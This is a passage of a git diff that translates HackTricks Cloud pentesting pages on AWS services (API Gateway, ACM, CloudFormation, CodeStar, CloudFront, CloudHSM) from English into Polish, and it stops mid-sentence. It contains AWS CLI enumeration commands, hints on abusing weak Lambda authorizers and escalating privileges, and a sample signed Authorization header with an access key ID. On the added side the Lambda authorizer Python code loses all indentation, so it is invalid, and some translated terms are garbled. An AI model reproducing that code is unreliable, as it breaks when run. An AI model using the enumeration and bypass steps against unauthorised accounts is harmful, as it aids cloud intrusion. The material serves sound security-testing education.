Ponadto, zarządzanie tożsamością i dostępem na poziomie platformy, gdzie to istnieje. +- **Przykłady** usług kontenerowych AWS to Relational Database Service, Elastic Mapreduce i Elastic Beanstalk. -### Abstract Services +### Usługi abstrakcyjne -- These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. -- The services are accessed via endpoints using AWS application programming interfaces, APIs. -- The **underlying infrastructure, operating system, and platform is managed by AWS**. -- The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. -- **Data is isolated via security mechanisms**. -- Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +- Te usługi są **usunięte, zabstractowane, z platformy lub warstwy zarządzania, na której budowane są aplikacje chmurowe**. +- Usługi są dostępne za pośrednictwem punktów końcowych przy użyciu interfejsów programowania aplikacji AWS, API. +- **Podstawowa infrastruktura, system operacyjny i platforma są zarządzane przez AWS**. +- Usługi zabstractowane zapewniają platformę wielodostępną, na której podstawowa infrastruktura jest współdzielona. +- **Dane są izolowane za pomocą mechanizmów bezpieczeństwa**. +- Usługi abstrakcyjne mają silną integrację z IAM, a **przykłady** usług abstrakcyjnych to S3, DynamoDB, Amazon Glacier i SQS. -## Services Enumeration +## Enumeracja usług -**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** +**Strony tej sekcji są uporządkowane według usługi AWS. Znajdziesz tam informacje o usłudze (jak działa i jej możliwości), co pozwoli Ci na eskalację uprawnień.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 09aa42d7c..47d9bc982 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -4,40 +4,39 @@ ## API Gateway -### Basic Information +### Podstawowe informacje -AWS API Gateway is a comprehensive service offered by Amazon Web Services (AWS) designed for developers to **create, publish, and oversee APIs on a large scale**. It functions as an entry point to an application, permitting developers to establish a framework of rules and procedures. This framework governs the access external users have to certain data or functionalities within the application. +AWS API Gateway to kompleksowa usługa oferowana przez Amazon Web Services (AWS), zaprojektowana dla programistów do **tworzenia, publikowania i nadzorowania API na dużą skalę**. Działa jako punkt wejścia do aplikacji, pozwalając programistom na ustanowienie ram zasad i procedur. Ta struktura reguluje dostęp zewnętrznych użytkowników do określonych danych lub funkcjonalności w aplikacji. -API Gateway enables you to define **how requests to your APIs should be handled**, and it can create custom API endpoints with specific methods (e.g., GET, POST, PUT, DELETE) and resources. It can also generate client SDKs (Software Development Kits) to make it easier for developers to call your APIs from their applications. +API Gateway umożliwia zdefiniowanie **jak żądania do twoich API powinny być obsługiwane**, i może tworzyć niestandardowe punkty końcowe API z określonymi metodami (np. GET, POST, PUT, DELETE) i zasobami. Może również generować zestawy SDK (Software Development Kits) dla klientów, aby ułatwić programistom wywoływanie twoich API z ich aplikacji. -### API Gateways Types +### Typy API Gateway -- **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends. -- **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services. -- **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services. -- **REST API Private**: Create a REST API that is only accessible from within a VPC. +- **HTTP API**: Twórz niskolatencyjne i opłacalne REST API z wbudowanymi funkcjami takimi jak OIDC i OAuth2 oraz natywnym wsparciem CORS. Działa z następującymi: Lambda, HTTP backends. +- **WebSocket API**: Twórz API WebSocket używając stałych połączeń do zastosowań w czasie rzeczywistym, takich jak aplikacje czatu lub pulpity nawigacyjne. Działa z następującymi: Lambda, HTTP, AWS Services. +- **REST API**: Rozwijaj REST API, w którym masz pełną kontrolę nad żądaniem i odpowiedzią oraz możliwościami zarządzania API. Działa z następującymi: Lambda, HTTP, AWS Services. +- **REST API Prywatne**: Twórz REST API, które jest dostępne tylko z wewnątrz VPC. -### API Gateway Main Components +### Główne komponenty API Gateway -1. **Resources**: In API Gateway, resources are the components that **make up the structure of your API**. They represent **the different paths or endpoints** of your API and correspond to the various actions that your API supports. A resource is each method (e.g., GET, POST, PUT, DELETE) **inside each path** (/, or /users, or /user/{id}. -2. **Stages**: Stages in API Gateway represent **different versions or environments** of your API, such as development, staging, or production. You can use stages to manage and deploy **multiple versions of your API simultaneousl**y, allowing you to test new features or bug fixes without affecting the production environment. Stages also **support stage variables**, which are key-value pairs that can be used to configure the behavior of your API based on the current stage. For example, you could use stage variables to direct API requests to different Lambda functions or other backend services depending on the stage. - - The stage is indicated at the beggining of the URL of the API Gateway endpoint. -3. **Authorizers**: Authorizers in API Gateway are responsible for **controlling access to your API** by verifying the identity of the caller before allowing the request to proceed. You can use **AWS Lambda functions** as custom authorizers, which allows you to implement your own authentication and authorization logic. When a request comes in, API Gateway passes the request's authorization token to the Lambda authorizer, which processes the token and returns an IAM policy that determines what actions the caller is allowed to perform. API Gateway also supports **built-in authorizers**, such as **AWS Identity and Access Management (IAM)** and **Amazon Cognito**. -4. **Resource Policy**: A resource policy in API Gateway is a JSON document that **defines the permissions for accessing your API**. It is similar to an IAM policy but specifically tailored for API Gateway. You can use a resource policy to control who can access your API, which methods they can call, and from which IP addresses or VPCs they can connect. **Resource policies can be used in combination with authorizers** to provide fine-grained access control for your API. - - In order to make effect the API needs to be **deployed again after** the resource policy is modified. +1. **Zasoby**: W API Gateway zasoby to komponenty, które **tworzą strukturę twojego API**. Reprezentują **różne ścieżki lub punkty końcowe** twojego API i odpowiadają różnym akcjom, które twoje API obsługuje. Zasobem jest każda metoda (np. GET, POST, PUT, DELETE) **w każdej ścieżce** (/, lub /users, lub /user/{id}). +2. **Etapy**: Etapy w API Gateway reprezentują **różne wersje lub środowiska** twojego API, takie jak rozwój, testowanie lub produkcja. Możesz używać etapów do zarządzania i wdrażania **wielu wersji twojego API jednocześnie**, co pozwala na testowanie nowych funkcji lub poprawek błędów bez wpływu na środowisko produkcyjne. Etapy również **obsługują zmienne etapu**, które są parami klucz-wartość, które mogą być używane do konfigurowania zachowania twojego API w zależności od aktualnego etapu. Na przykład, możesz użyć zmiennych etapu do kierowania żądań API do różnych funkcji Lambda lub innych usług backendowych w zależności od etapu. +- Etap jest wskazywany na początku URL punktu końcowego API Gateway. +3. **Autoryzatory**: Autoryzatory w API Gateway są odpowiedzialne za **kontrolowanie dostępu do twojego API** poprzez weryfikację tożsamości wywołującego przed pozwoleniem na kontynuację żądania. Możesz używać **funkcji AWS Lambda** jako niestandardowych autoryzatorów, co pozwala na wdrożenie własnej logiki uwierzytelniania i autoryzacji. Gdy żądanie przychodzi, API Gateway przekazuje token autoryzacji żądania do autoryzatora Lambda, który przetwarza token i zwraca politykę IAM, która określa, jakie działania wywołujący może wykonać. API Gateway obsługuje również **wbudowane autoryzatory**, takie jak **AWS Identity and Access Management (IAM)** i **Amazon Cognito**. +4. **Polityka zasobów**: Polityka zasobów w API Gateway to dokument JSON, który **definiuje uprawnienia do dostępu do twojego API**. Jest podobna do polityki IAM, ale specjalnie dostosowana do API Gateway. Możesz użyć polityki zasobów, aby kontrolować, kto może uzyskać dostęp do twojego API, które metody mogą wywoływać i z jakich adresów IP lub VPC mogą się łączyć. **Polityki zasobów mogą być używane w połączeniu z autoryzatorami** w celu zapewnienia precyzyjnej kontroli dostępu do twojego API. +- Aby wprowadzić zmiany, API musi być **ponownie wdrożone po** modyfikacji polityki zasobów. -### Logging +### Logowanie -By default, **CloudWatch Logs** are **off**, **Access Logging** is **off**, and **X-Ray tracing** is also **off**. +Domyślnie **CloudWatch Logs** są **wyłączone**, **Logowanie dostępu** jest **wyłączone**, a **śledzenie X-Ray** jest również **wyłączone**. -### Enumeration +### Enumeracja > [!TIP] -> Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.** +> Zauważ, że w obu API AWS do enumeracji zasobów (**`apigateway`** i **`apigatewayv2`**) jedynym uprawnieniem, którego potrzebujesz i jedynym przyznawanym uprawnieniem do odczytu jest **`apigateway:GET`**, dzięki czemu możesz **enumerować wszystko.** {{#tabs }} {{#tab name="apigateway" }} - ```bash # Generic info aws apigateway get-account @@ -78,11 +77,9 @@ aws apigateway get-usage-plan-key --usage-plan-id --key-id ###Already consumed aws apigateway get-usage --usage-plan-id --start-date 2023-07-01 --end-date 2023-07-12 ``` - {{#endtab }} {{#tab name="apigatewayv2" }} - ```bash # Generic info aws apigatewayv2 get-domain-names @@ -124,49 +121,43 @@ aws apigatewayv2 get-models --api-id ## Call API https://.execute-api..amazonaws.com// ``` - {{#endtab }} {{#endtabs }} -## Different Authorizations to access API Gateway endpoints +## Różne autoryzacje do uzyskania dostępu do punktów końcowych API Gateway -### Resource Policy +### Polityka zasobów -It's possible to use resource policies to define who could call the API endpoints.\ -In the following example you can see that the **indicated IP cannot call** the endpoint `/resource_policy` via GET. +Możliwe jest użycie polityk zasobów do zdefiniowania, kto może wywoływać punkty końcowe API.\ +W poniższym przykładzie widać, że **wskazany adres IP nie może wywołać** punktu końcowego `/resource_policy` za pomocą metody GET.
-### IAM Authorizer +### Autoryzator IAM -It's possible to set that a methods inside a path (a resource) requires IAM authentication to call it. +Możliwe jest ustawienie, że metody w ścieżce (zasobie) wymagają uwierzytelnienia IAM do ich wywołania.
-When this is set you will receive the error `{"message":"Missing Authentication Token"}` when you try to reach the endpoint without any authorization. - -One easy way to generate the expected token by the application is to use **curl**. +Gdy to jest ustawione, otrzymasz błąd `{"message":"Missing Authentication Token"}` gdy spróbujesz uzyskać dostęp do punktu końcowego bez jakiejkolwiek autoryzacji. +Jednym ze sposobów na wygenerowanie oczekiwanego tokena przez aplikację jest użycie **curl**. ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` - -Another way is to use the **`Authorization`** type **`AWS Signature`** inside **Postman**. +Innym sposobem jest użycie typu **`Authorization`** **`AWS Signature`** w **Postman**.
-Set the accessKey and the SecretKey of the account you want to use and you can know authenticate against the API endpoint. - -Both methods will generate an **Authorization** **header** such as: +Ustaw accessKey i SecretKey konta, którego chcesz użyć, a następnie możesz uwierzytelnić się w punkcie końcowym API. +Obie metody wygenerują nagłówek **Authorization** taki jak: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` - -Note that in other cases the **Authorizer** might have been **bad coded** and just sending **anything** inside the **Authorization header** will **allow to see the hidden content**. +Zauważ, że w innych przypadkach **Authorizer** mógł być **źle zakodowany** i wysłanie **czegokolwiek** w **nagłówku Authorization** **pozwoli zobaczyć ukrytą zawartość**. ### Request Signing Using Python - ```python pip install requests @@ -193,86 +184,83 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` - ### Custom Lambda Authorizer -It's possible to use a lambda that based in a given token will **return an IAM policy** indicating if the user is **authorized to call the API endpoint**.\ -You can set each resource method that will be using the authoriser. +Możliwe jest użycie lambdy, która na podstawie danego tokena **zwróci politykę IAM**, wskazując, czy użytkownik jest **uprawniony do wywołania punktu końcowego API**.\ +Możesz ustawić każdą metodę zasobu, która będzie korzystać z autoryzatora.
-Lambda Authorizer Code Example - +Przykład kodu Lambda Authorizer ```python import json def lambda_handler(event, context): - token = event['authorizationToken'] - method_arn = event['methodArn'] +token = event['authorizationToken'] +method_arn = event['methodArn'] - if not token: - return { - 'statusCode': 401, - 'body': 'Unauthorized' - } +if not token: +return { +'statusCode': 401, +'body': 'Unauthorized' +} - try: - # Replace this with your own token validation logic - if token == "your-secret-token": - return generate_policy('user', 'Allow', method_arn) - else: - return generate_policy('user', 'Deny', method_arn) - except Exception as e: - print(e) - return { - 'statusCode': 500, - 'body': 'Internal Server Error' - } +try: +# Replace this with your own token validation logic +if token == "your-secret-token": +return generate_policy('user', 'Allow', method_arn) +else: +return generate_policy('user', 'Deny', method_arn) +except Exception as e: +print(e) +return { +'statusCode': 500, +'body': 'Internal Server Error' +} def generate_policy(principal_id, effect, resource): - policy = { - 'principalId': principal_id, - 'policyDocument': { - 'Version': '2012-10-17', - 'Statement': [ - { - 'Action': 'execute-api:Invoke', - 'Effect': effect, - 'Resource': resource - } - ] - } - } - return policy +policy = { +'principalId': principal_id, +'policyDocument': { +'Version': '2012-10-17', +'Statement': [ +{ +'Action': 'execute-api:Invoke', +'Effect': effect, +'Resource': resource +} +] +} +} +return policy ``` -
-Call it with something like: +Wywołaj to za pomocą czegoś takiego:
curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
 
> [!WARNING] -> Depending on the Lambda code, this authorization might be vulnerable +> W zależności od kodu Lambda, ta autoryzacja może być podatna -Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}` +Zauważ, że jeśli **polityka odmowy jest generowana i zwracana**, błąd zwrócony przez API Gateway to: `{"Message":"User is not authorized to access this resource with an explicit deny"}` -This way you could **identify this authorization** being in place. +W ten sposób możesz **zidentyfikować tę autoryzację**. -### Required API Key +### Wymagany klucz API -It's possible to set API endpoints that **require a valid API key** to contact it. +Możliwe jest ustawienie punktów końcowych API, które **wymagają ważnego klucza API** do kontaktu.
-It's possible to generate API keys in the API Gateway portal and even set how much it can be used (in terms of requests per second and in terms of requests per month). +Możliwe jest generowanie kluczy API w portalu API Gateway, a nawet ustawienie, jak często mogą być używane (w kategoriach żądań na sekundę i żądań na miesiąc). -To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key: +Aby klucz API działał, musisz dodać go do **Planu Użytkowania**, ten plan użytkowania musi być dodany do **Etapu API**, a powiązany etap API musi mieć skonfigurowane **ograniczenie metod** dla **punktu końcowego** wymagającego klucza API:
-## Unauthenticated Access +## Nieautoryzowany dostęp {{#ref}} ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -290,14 +278,10 @@ To make an API key work, you need to add it to a **Usage Plan**, this usage plan ../aws-post-exploitation/aws-api-gateway-post-exploitation.md {{#endref}} -## Persistence +## Utrzymywanie {{#ref}} ../aws-persistence/aws-api-gateway-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 0f3da9d50..8d196c23e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -**AWS Certificate Manager (ACM)** is provided as a service aimed at streamlining the **provisioning, management, and deployment of SSL/TLS certificates** for AWS services and internal resources. The necessity for manual processes, such as purchasing, uploading, and certificate renewals, is **eliminated** by ACM. This allows users to efficiently request and implement certificates on various AWS resources including **Elastic Load Balancers, Amazon CloudFront distributions, and APIs on API Gateway**. +**AWS Certificate Manager (ACM)** jest świadczony jako usługa mająca na celu uproszczenie **provisioning, zarządzania i wdrażania certyfikatów SSL/TLS** dla usług AWS i zasobów wewnętrznych. Konieczność ręcznych procesów, takich jak zakup, przesyłanie i odnawianie certyfikatów, jest **eliminowana** przez ACM. Umożliwia to użytkownikom efektywne żądanie i wdrażanie certyfikatów na różnych zasobach AWS, w tym **Elastic Load Balancers, dystrybucjach Amazon CloudFront i API na API Gateway**. -A key feature of ACM is the **automatic renewal of certificates**, significantly reducing the management overhead. Furthermore, ACM supports the creation and centralized management of **private certificates for internal use**. Although SSL/TLS certificates for integrated AWS services like Elastic Load Balancing, Amazon CloudFront, and Amazon API Gateway are provided at no extra cost through ACM, users are responsible for the costs associated with the AWS resources utilized by their applications and a monthly fee for each **private Certificate Authority (CA)** and private certificates used outside integrated ACM services. +Kluczową cechą ACM jest **automatyczne odnawianie certyfikatów**, co znacząco redukuje obciążenie zarządzania. Ponadto, ACM wspiera tworzenie i centralne zarządzanie **prywatnymi certyfikatami do użytku wewnętrznego**. Chociaż certyfikaty SSL/TLS dla zintegrowanych usług AWS, takich jak Elastic Load Balancing, Amazon CloudFront i Amazon API Gateway, są dostarczane bez dodatkowych kosztów przez ACM, użytkownicy są odpowiedzialni za koszty związane z zasobami AWS wykorzystywanymi przez ich aplikacje oraz miesięczną opłatę za każdy **prywatny urząd certyfikacji (CA)** i prywatne certyfikaty używane poza zintegrowanymi usługami ACM. -**AWS Private Certificate Authority** is offered as a **managed private CA service**, enhancing ACM's capabilities by extending certificate management to include private certificates. These private certificates are instrumental in authenticating resources within an organization. +**AWS Private Certificate Authority** jest oferowana jako **zarządzana usługa prywatnego CA**, zwiększająca możliwości ACM poprzez rozszerzenie zarządzania certyfikatami o prywatne certyfikaty. Te prywatne certyfikaty są niezbędne do uwierzytelniania zasobów w organizacji. -## Enumeration +## Enumeracja ### ACM - ```bash # List certificates aws acm list-certificates @@ -27,9 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce # Account configuration aws acm get-account-configuration ``` - ### PCM - ```bash # List CAs aws acm-pca list-certificate-authorities @@ -49,7 +46,6 @@ aws acm-pca get-certificate-authority-csr --certificate-authority-arn # Get CA Policy (if any) aws acm-pca get-policy --resource-arn ``` - ## Privesc TODO @@ -59,7 +55,3 @@ TODO TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 66539b87d..37b14ac13 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,10 +4,9 @@ ## CloudFormation -AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure. +AWS CloudFormation to usługa zaprojektowana w celu **usprawnienia zarządzania zasobami AWS**. Umożliwia użytkownikom skupienie się bardziej na ich aplikacjach działających w AWS, **minimalizując czas poświęcony na zarządzanie zasobami**. Główna cecha tej usługi to **szablon**—opisowy model pożądanych zasobów AWS. Po dostarczeniu tego szablonu, CloudFormation jest odpowiedzialny za **provisioning i konfigurację** określonych zasobów. Ta automatyzacja ułatwia bardziej efektywne i bezbłędne zarządzanie infrastrukturą AWS. ### Enumeration - ```bash # Stacks aws cloudformation list-stacks @@ -30,10 +29,9 @@ aws cloudformation list-stack-instances --stack-set-name aws cloudformation list-stack-set-operations --stack-set-name aws cloudformation list-stack-set-operation-results --stack-set-name --operation-id ``` - ### Privesc -In the following page you can check how to **abuse cloudformation permissions to escalate privileges**: +Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień cloudformation, aby eskalować uprawnienia**: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ @@ -41,14 +39,13 @@ In the following page you can check how to **abuse cloudformation permissions to ### Post-Exploitation -Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation +Sprawdź **sekrety** lub wrażliwe informacje w **szablonie, parametrach i wynikach** każdego CloudFormation ## Codestar -AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members). +AWS CodeStar to usługa do tworzenia, zarządzania i pracy z projektami rozwoju oprogramowania na AWS. Możesz szybko rozwijać, budować i wdrażać aplikacje na AWS za pomocą projektu AWS CodeStar. Projekt AWS CodeStar tworzy i **integruje usługi AWS** dla twojego narzędzia do rozwoju projektu. W zależności od wybranego szablonu projektu AWS CodeStar, to narzędzie może obejmować kontrolę wersji, budowę, wdrożenie, serwery wirtualne lub zasoby bezserwerowe i inne. AWS CodeStar również **zarządza uprawnieniami wymaganymi dla użytkowników projektu** (nazywanych członkami zespołu). ### Enumeration - ```bash # Get projects information aws codestar list-projects @@ -56,13 +53,12 @@ aws codestar describe-project --id aws codestar list-resources --project-id aws codestar list-team-members --project-id - aws codestar list-user-profiles - aws codestar describe-user-profile --user-arn +aws codestar list-user-profiles +aws codestar describe-user-profile --user-arn ``` - ### Privesc -In the following page you can check how to **abuse codestar permissions to escalate privileges**: +Na następnej stronie możesz sprawdzić, jak **nadużyć uprawnień codestar, aby eskalować przywileje**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ @@ -73,7 +69,3 @@ In the following page you can check how to **abuse codestar permissions to escal - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 75613cdb4..7081b1e21 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,20 +4,19 @@ ## CloudFront -CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3. +CloudFront to **sieć dostarczania treści AWS, która przyspiesza dystrybucję** Twojej statycznej i dynamicznej zawartości za pośrednictwem swojej globalnej sieci lokalizacji brzegowych. Gdy korzystasz z treści, którą hostujesz za pośrednictwem Amazon CloudFront, żądanie jest kierowane do najbliższej lokalizacji brzegowej, co zapewnia najniższą latencję, aby dostarczyć najlepszą wydajność. Gdy **dzienniki dostępu CloudFront** są włączone, możesz rejestrować żądania od każdego użytkownika żądającego dostępu do Twojej witryny i dystrybucji. Podobnie jak w przypadku dzienników dostępu S3, te dzienniki są również **przechowywane na Amazon S3 dla trwałego i stałego przechowywania**. Nie ma opłat za włączenie samego logowania, jednak ponieważ dzienniki są przechowywane w S3, będziesz obciążony za przechowywanie używane przez S3. -The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**. +Pliki dzienników rejestrują dane przez pewien czas, a w zależności od liczby żądań, które otrzymuje Amazon CloudFront dla tej dystrybucji, zależy od ilości generowanych plików dzienników. Ważne jest, aby wiedzieć, że te pliki dzienników nie są tworzone ani zapisywane na S3. S3 to po prostu miejsce, do którego są dostarczane, gdy plik dziennika jest pełny. **Amazon CloudFront przechowuje te dzienniki, aż będą gotowe do dostarczenia do S3**. Ponownie, w zależności od rozmiaru tych plików dzienników, dostarczenie to może zająć **od jednej do 24 godzin**. -**By default cookie logging is disabled** but you can enable it. +**Domyślnie logowanie ciasteczek jest wyłączone**, ale możesz je włączyć. ### Functions -You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS). +Możesz tworzyć funkcje w CloudFront. Te funkcje będą miały swój **punkt końcowy w cloudfront** zdefiniowany i będą uruchamiać zadeklarowany **kod NodeJS**. Ten kod będzie działał w **piaskownicy** na maszynie działającej pod zarządzaną przez AWS maszyną (musisz mieć obejście piaskownicy, aby udało się uciec do podstawowego systemu operacyjnego). -As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature. +Ponieważ funkcje nie są uruchamiane w koncie AWS użytkownika, nie jest dołączona żadna rola IAM, więc nie ma możliwości bezpośredniego podniesienia uprawnień, wykorzystując tę funkcję. ### Enumeration - ```bash aws cloudfront list-distributions aws cloudfront get-distribution --id # Just get 1 @@ -28,21 +27,16 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` - -## Unauthenticated Access +## Nieautoryzowany dostęp {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md {{#endref}} -## Post Exploitation +## Po eksploatacji {{#ref}} ../aws-post-exploitation/aws-cloudfront-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 55216fa7e..650d782ea 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -4,68 +4,62 @@ ## HSM - Hardware Security Module -Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used. +Cloud HSM to walidowane urządzenie **sprzętowe** na poziomie FIPS 140 poziom dwa do bezpiecznego przechowywania kluczy kryptograficznych (zauważ, że CloudHSM to urządzenie sprzętowe, nie jest to usługa wirtualizowana). Jest to urządzenie SafeNetLuna 7000 z wstępnie załadowanym oprogramowaniem 5.3.13. Istnieją dwie wersje oprogramowania układowego, a wybór zależy od Twoich dokładnych potrzeb. Jedna jest zgodna z FIPS 140-2, a druga to nowsza wersja, która może być używana. -The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads +Niezwykłą cechą CloudHSM jest to, że jest to fizyczne urządzenie, a zatem **nie jest dzielone z innymi klientami**, lub jak to się powszechnie określa, multi-tenant. Jest to dedykowane urządzenie dla jednego najemcy, które jest udostępniane wyłącznie dla Twoich obciążeń. -Typically, a device is available within 15 minutes assuming there is capacity, but in some zones there could not be. +Zazwyczaj urządzenie jest dostępne w ciągu 15 minut, zakładając, że jest dostępna pojemność, ale w niektórych strefach może nie być. -Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. +Ponieważ jest to fizyczne urządzenie dedykowane dla Ciebie, **klucze są przechowywane na urządzeniu**. Klucze muszą być **replikowane na inne urządzenie**, archiwizowane w offline lub eksportowane do urządzenia zapasowego. **To urządzenie nie jest wspierane** przez S3 ani żadną inną usługę w AWS, taką jak KMS. -In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\ -Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. +W **CloudHSM** musisz **samodzielnie skalować usługę**. Musisz przydzielić wystarczającą liczbę urządzeń CloudHSM, aby obsłużyć Twoje potrzeby związane z szyfrowaniem, w oparciu o algorytmy szyfrowania, które wybrałeś do wdrożenia w swoim rozwiązaniu.\ +Skalowanie usługi zarządzania kluczami jest realizowane przez AWS i automatycznie skaluje się na żądanie, więc w miarę wzrostu Twojego użycia, może wzrosnąć również liczba wymaganych urządzeń CloudHSM. Pamiętaj o tym, gdy skalujesz swoje rozwiązanie, a jeśli Twoje rozwiązanie ma automatyczne skalowanie, upewnij się, że maksymalna skala jest uwzględniona z wystarczającą liczbą urządzeń CloudHSM do obsługi rozwiązania. -Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. +Podobnie jak w przypadku skalowania, **wydajność zależy od Ciebie w CloudHSM**. Wydajność różni się w zależności od używanego algorytmu szyfrowania oraz od tego, jak często musisz uzyskiwać dostęp do kluczy lub je pobierać, aby zaszyfrować dane. Wydajność usługi zarządzania kluczami jest obsługiwana przez Amazon i automatycznie skaluje się w miarę potrzeb. Wydajność CloudHSM osiąga się poprzez dodawanie większej liczby urządzeń, a jeśli potrzebujesz większej wydajności, dodajesz urządzenia lub zmieniasz metodę szyfrowania na algorytm, który jest szybszy. -If your solution is 